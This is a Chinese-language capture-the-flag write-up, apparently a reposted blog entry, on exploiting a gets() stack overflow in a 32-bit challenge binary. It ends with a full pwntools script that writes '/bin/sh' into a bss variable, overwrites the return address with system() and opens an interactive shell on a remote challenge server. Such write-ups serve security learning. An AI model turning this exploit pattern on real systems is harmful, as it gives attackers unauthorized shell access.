
下載檔案后,首先檢查保護:

隨后將檔案拖入ida,查看原始碼,在hello函式中,發現了如下代碼

首先用安全的fgets輸入了一個變數,接著用不安全的gets接收了一個變數,在此處可以確認是堆疊溢位,且溢位點就在此處,
開始尋找利用方式,s到ebp的距離是0x26,所以需要填充0x26的垃圾資料到ebp,接著再填充0x4的垃圾資料(覆寫ebp),
發現了system函式
![]()
還缺一個"/bin/sh"字串,找遍了代碼,沒有發現,但是由于此前可以有一個自己的輸入,保存在name變數上,即可以自己手動輸入"/bin/sh",自此,設計堆疊結構為:

開始撰寫腳本:

from pwn import *
io = remote("111.200.241.244",52858)
#需要自己輸入“/bin/sh”,而剛好有一個可以輸入的地方,且保存位置在bss上
io.recvuntil("please tell me your name")
io.sendline("/bin/sh")
sys_addr = 0x8048420
bin_sh_addr = 0x804A080
#需要0x26 +0x4長度的垃圾資料來完成填充,回傳地址上寫system的地址
#隨后4個位元組時system的回傳地址,隨便填充4位元組
#隨后是system的引數,即/bin/sh的地址,存放在name變數上
payload = b'a' * (0x26 + 0x4) + p32(sys_addr) + b'a' * 4 + p32(bin_sh_addr)
#發送payload,覆寫seed
io.recvuntil("hello,you can leave some message here:")
io.sendline(payload)
io.interactive()
開始攻擊:

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/413262.html
標籤:其他
上一篇:Webshell管理工具
下一篇:子域名收集
